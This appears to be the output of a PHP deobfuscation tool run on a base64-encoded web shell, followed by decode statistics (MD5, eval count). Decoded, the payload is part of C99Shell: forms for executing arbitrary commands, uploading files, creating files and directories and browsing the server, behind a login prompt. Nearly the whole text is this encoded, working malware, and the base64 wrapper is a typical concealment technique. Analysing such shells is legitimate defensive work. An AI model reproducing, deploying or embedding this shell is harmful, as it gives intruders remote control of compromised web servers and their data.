anBlZyIsDQogICAgICAgICAgICAiZXh0X2pmaWYiLA0KICAgICAgICAgICAgImV4dF9qcGUiLA0K
ICAgICAgICAgICAgImV4dF9ibXAiLA0KICAgICAgICAgICAgImV4dF9pY28iLA0KICAgICAgICAg
ICAgImV4dF90aWYiLA0KICAgICAgICAgICAgInRpZmYiDQogICAgICAgICkgLA0KICAgICAgICAi
ZXh0X2h0bWwiID0+IGFycmF5KA0KICAgICAgICAgICAgImV4dF9odG1sIiwNCiAgICAgICAgICAg
ICJleHRfaHRtIg0KICAgICAgICApICwNCiAgICAgICAgImV4dF9hdmkiID0+IGFycmF5KA0KICAg
ICAgICAgICAgImV4dF9hdmkiLA0KICAgICAgICAgICAgImV4dF9tb3YiLA0KICAgICAgICAgICAg
ImV4dF9tdmkiLA0KICAgICAgICAgICAgImV4dF9tcGciLA0KICAgICAgICAgICAgImV4dF9tcGVn
IiwNCiAgICAgICAgICAgICJleHRfd212IiwNCiAgICAgICAgICAgICJleHRfcm0iDQogICAgICAg
ICkgLA0KICAgICAgICAiZXh0X2xuayIgPT4gYXJyYXkoDQogICAgICAgICAgICAiZXh0X2xuayIs
DQogICAgICAgICAgICAiZXh0X3VybCINCiAgICAgICAgKSAsDQogICAgICAgICJleHRfaW5pIiA9
PiBhcnJheSgNCiAgICAgICAgICAgICJleHRfaW5pIiwNCiAgICAgICAgICAgICJleHRfY3NzIiwN
CiAgICAgICAgICAgICJleHRfaW5mIg0KICAgICAgICApICwNCiAgICAgICAgImV4dF9kb2MiID0+
IGFycmF5KA0KICAgICAgICAgICAgImV4dF9kb2MiLA0KICAgICAgICAgICAgImV4dF9kb3QiDQog
ICAgICAgICkgLA0KICAgICAgICAiZXh0X2pzIiA9PiBhcnJheSgNCiAgICAgICAgICAgICJleHRf
anMiLA0KICAgICAgICAgICAgImV4dF92YnMiDQogICAgICAgICkgLA0KICAgICAgICAiZXh0X2Nt
ZCIgPT4gYXJyYXkoDQogICAgICAgICAgICAiZXh0X2NtZCIsDQogICAgICAgICAgICAiZXh0X2Jh
dCIsDQogICAgICAgICAgICAiZXh0X3BpZiINCiAgICAgICAgKSAsDQogICAgICAgICJleHRfd3Jp
IiA9PiBhcnJheSgNCiAgICAgICAgICAgICJleHRfd3JpIiwNCiAgICAgICAgICAgICJleHRfcnRm
Ig0KICAgICAgICApICwNCiAgICAgICAgImV4dF9zd2YiID0+IGFycmF5KA0KICAgICAgICAgICAg
ImV4dF9zd2YiLA0KICAgICAgICAgICAgImV4dF9mbGEiDQogICAgICAgICkgLA0KICAgICAgICAi
ZXh0X21wMyIgPT4gYXJyYXkoDQogICAgICAgICAgICAiZXh0X21wMyIsDQogICAgICAgICAgICAi
ZXh0X2F1IiwNCiAgICAgICAgICAgICJleHRfbWlkaSIsDQogICAgICAgICAgICAiZXh0X21pZCIN
CiAgICAgICAgKSAsDQogICAgICAgICJleHRfaHRhY2Nlc3MiID0+IGFycmF5KA0KICAgICAgICAg
ICAgImV4dF9odGFjY2VzcyIsDQogICAgICAgICAgICAiZXh0X2h0cGFzc3dkIiwNCiAgICAgICAg
ICAgICJleHRfaHQiLA0KICAgICAgICAgICAgImV4dF9odGEiLA0KICAgICAgICAgICAgImV4dF9z
byINCiAgICAgICAgKQ0KICAgICk7DQogICAgaWYgKCEkZ2V0YWxsKQ0KICAgIHsNCiAgICAgICAg
aGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlL2dpZiIpOw0KICAgICAgICBoZWFkZXIoIkNhY2hl
LWNvbnRyb2w6IHB1YmxpYyIpOw0KICAgICAgICBoZWFkZXIoIkV4cGlyZXM6ICIgLiBkYXRlKCJy
IiwgbWt0aW1lKDAsIDAsIDAsIDEsIDEsIDIwMzApKSk7DQogICAgICAgIGhlYWRlcigiQ2FjaGUt
Y29udHJvbDogbWF4LWFnZT0iIC4gKDYwICogNjAgKiAyNCAqIDcpKTsNCiAgICAgICAgaGVhZGVy
KCJMYXN0LU1vZGlmaWVkOiAiIC4gZGF0ZSgiciIsIGZpbGVtdGltZShfX0ZJTEVfXykpKTsNCiAg
ICAgICAgZm9yZWFjaCAoJGltZ2VxdWFscyBhcyAkayA9PiAkdikNCiAgICAgICAgew0KICAgICAg
ICAgICAgaWYgKGluX2FycmF5KCRpbWcsICR2KSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAkaW1nID0gJGs7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQog
ICAgICAgIH0NCiAgICAgICAgaWYgKGVtcHR5KCRpbWFnZXNbJGltZ10pKQ0KICAgICAgICB7DQog
ICAgICAgICAgICAkaW1nID0gInNtYWxsX3VuayI7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGlu
X2FycmF5KCRpbWcsICRleHRfdGFyKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGltZyA9ICJl
eHRfdGFyIjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvIGJhc2U2NF9kZWNvZGUoJGltYWdlc1sk
aW1nXSk7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgIGZvcmVhY2ggKCRpbWdlcXVh
bHMgYXMgJGEgPT4gJGIpDQogICAgICAgIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRiIGFzICRk
KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICgkYSAhPSAkZCkNCiAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGltYWdlc1skZF0pKQ0K
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICgiV2Fy
bmluZyEgUmVtb3ZlIFwkaW1hZ2VzWyIgLiAkZCAuICJdPGJyPiIpOw0KICAgICAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAg
ICAgIG5hdHNvcnQoJGltYWdlcyk7DQogICAgICAgICRrID0gYXJyYXlfa2V5cygkaW1hZ2VzKTsN
CiAgICAgICAgZWNobyAiPGNlbnRlcj4iOw0KICAgICAgICBmb3JlYWNoICgkayBhcyAkdSkNCiAg
ICAgICAgew0KICAgICAgICAgICAgZWNobyAkdSAuICI6PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAi
YWN0PWltZyZpbWc9IiAuICR1IC4gIlwiIGJvcmRlcj1cIjFcIj48YnI+IjsNCiAgICAgICAgfQ0K
ICAgICAgICBlY2hvICI8L2NlbnRlcj4iOw0KICAgIH0NCiAgICBleGl0Ow0KfQ0KaWYgKCRhY3Qg
PT0gImFib3V0IikNCnsNCiAgICBlY2hvICI8Y2VudGVyPjxiPkNyZWRpdHM6PGJyPjxicj5LdWRv
cyB0byB0aGUgJnF1b3Q7T3JpZ2luYWwgQ3JlYXRvcnMmcXVvdDsgb2YgQzk5U2hlbGwuPGJyPjxi
cj5hbmQgPHU+S2FpemVuTG91aWU8L3U+IGZvciBMYXRlc3Qgc2FmZS1idWlsZCBhbmQgdXBkYXRl
IGZvciBQSFAgNy48YnI+PGJyPlRoYW5rcyB0byBhbGwgd2hvIHJlcG9ydGVkIHRoZSBidWdzLjxi
cj5JZiB0aGVyZSBhcmUgbW9yZSBidWdzLCBwbGVhc2UgY3JlYXRlIGFuIGlzc3VlIGluIGh0dHBz
Oi8vZ2l0aHViLmNvbS9LYWl6ZW5Mb3VpZS9DOTlTaGVsbC1QSFA3IDwvYj4iOw0KfSA/Pg0KPC90
ZD48L3RyPjwvdGFibGU+PGEgYm9va21hcms9Im1pbmlwYW5lbCI+PGJyPjxUQUJMRSBzdHlsZT0i
Qk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9
IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMz
MzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+DQo8dHI+PHRkIHdpZHRoPSIx
MDAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cCBhbGlnbj0iY2VudGVy
Ij48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1jbWQmZD08P3BocCBlY2hv
IHVybGVuY29kZSgkZCk7ID8+Ij48Yj5Db21tYW5kIGV4ZWN1dGU8L2I+PC9hPiA6OjwvYj48L3A+
PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48
Y2VudGVyPjxiPkVudGVyOiA8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+
PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJjbWQiPjxpbnB1dCB0eXBlPWhpZGRl
biBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4
dCIgbmFtZT0iY21kIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFy
cygkY21kKTsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+
Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zv
cm0+PC90ZD48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48
Yj5TZWxlY3Q6IDwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCIg
bWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+PGlu
cHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxz
ZWxlY3QgbmFtZT0iY21kIj48P3BocCBmb3JlYWNoICgkY21kYWxpYXNlcyBhcyAkYWxzKQ0Kew0K
ICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkYWxzWzFdKSAu
ICJcIj4iIC4gaHRtbHNwZWNpYWxjaGFycygkYWxzWzBdKSAuICI8L29wdGlvbj4iOw0KfSA/Pjwv
c2VsZWN0PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+Jm5ic3A7
PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90
ZD48L3RyPjwvVEFCTEU+DQo8YnI+DQo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29s
bGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9
NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdo
dD0jYzBjMGMwIGJvcmRlcj0xPg0KPHRyPg0KIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZh
bGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0
PXNlYXJjaCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPlNlYXJjaDwvYj48L2E+
IDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZh
bHVlPSJzZWFyY2giPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNo
byAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2VhcmNoX25hbWUiIHNpemU9
IjI5IiB2YWx1ZT0iKC4qKSI+Jm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJzZWFy
Y2hfbmFtZV9yZWdleHAiIHZhbHVlPSIxIiAgY2hlY2tlZD4gLSByZWdleHAmbmJzcDs8aW5wdXQg
dHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IlNlYXJjaCI+PC9mb3JtPjwvY2VudGVyPjwv
cD48L3RkPg0KIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVy
PjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PXVwbG9hZCZkPTw/cGhwIGVj
aG8gJHVkOyA/PiI+PGI+VXBsb2FkPC9iPjwvYT4gOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIiBF
TkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Qg
dmFsdWU9InVwbG9hZCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZGZpbGUiPjxpbnB1
dCB0eXBlPWhpZGRlbiBuYW1lPSJtaW5pZm9ybSIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBl
PXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iVXBsb2FkIj48YnI+PD9waHAgZWNobyAkd2R0OyA/
PjwvZm9ybT48L2NlbnRlcj48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8YnI+PFRBQkxFIHN0eWxl
PSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFy
az0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0j
MzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI1
MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogTWFrZSBEaXIgOjo8L2I+
PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5h
bWU9YWN0IHZhbHVlPSJta2RpciI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8
P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJta2RpciIgc2l6
ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPXN1
Ym1pdCB2YWx1ZT0iQ3JlYXRlIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRl
cj48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxi
Pjo6IE1ha2UgRmlsZSA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRl
biBuYW1lPWFjdCB2YWx1ZT0ibWtmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFs
dWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZmls
ZSIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPWhp
ZGRlbiBuYW1lPSJmdCIgdmFsdWU9ImVkaXQiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1
ZT0iQ3JlYXRlIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48L3RkPjwv
dHI+PC90YWJsZT4NCjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2Ui
IGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWln
aHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBj
MGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+
PGNlbnRlcj48Yj46OiBHbyBEaXIgOjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJs
OyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJscyI+PGlucHV0IHR5cGU9
InRleHQiIG5hbWU9ImQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4m
bmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC9jZW50ZXI+PC90ZD48
dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBHbyBG
aWxlIDo6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBl
PWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iZ29maWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0i
ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9
ImYiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQg
dHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+
DQo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBj
ZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTAgd2lkdGg9
IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+
PHRyPjx0ZCB3aWR0aD0iOTkwIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48cCBhbGlnbj0iY2Vu
dGVyIj48Yj4tLVsgYzk5c2hlbGwgdi4gPD9waHAgZWNobyAkc2h2ZXI7ID8+IDxhIGhyZWY9Ijw/
cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWFib3V0Ij48dT48Yj5tYWludGFpbmVkIGJ5PC9iPjwvdT48
L2E+IEthaXplbkxvdWllIHwgPGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL0thaXplbkxvdWll
L0M5OVNoZWxsLVBIUDciPjxmb250IGNvbG9yPSIjRkYwMDAwIj5DOTlTaGVsbCBHaXRodWI8L2Zv
bnQ+PC9hPjxmb250IGNvbG9yPSIjRkYwMDAwIj48L2ZvbnQ+IHwgR2VuZXJhdGlvbiB0aW1lOiA8
P3BocCBlY2hvIHJvdW5kKGdldG1pY3JvdGltZSgpIC0gc3RhcnR0aW1lLCA0KTsgPz4gXS0tPC9i
PjwvcD48L3RkPjwvdHI+PC90YWJsZT4NCjwvYm9keT48L2h0bWw+PD9waHAgY2hkaXIoJGxhc3Rk
aXIpOw0KDQpjOTlzaGV4aXQoKTsgDQp9IGVsc2Ugew0KPz4NCiAgICA8Zm9ybSBhY3Rpb249IiIg
bWV0aG9kPSJwb3N0IiA+PGlucHV0IHNpemU9MzUgdHlwZT10ZXh0IG5hbWU9InVzZXJMb2dpbiIg
cGxhY2Vob2xkZXI9InVzZXIiIC8+PGlucHV0IHNpemU9MzUgdHlwZT1wYXNzd29yZCBuYW1lPSJw
YXNzTG9naW4iIHBsYWNlaG9sZGVyPSJwYXNzd29yZCIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFs
dWU9IkxvZ2luIiBzdHlsZT0iZGlzcGxheTppbmxpbmU7bWFyZ2luLWxlZnQ6IDIwcHgiIC8+PC9m
b3JtPg0KPD9waHANCiBwcmludCgiVW5hdXRocml6ZWQiKTsNCn0NCg==
"));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 361ba23aa4fa25f53a1ecbdf1e5cd21b
Eval Count 1
Decode Time 398 ms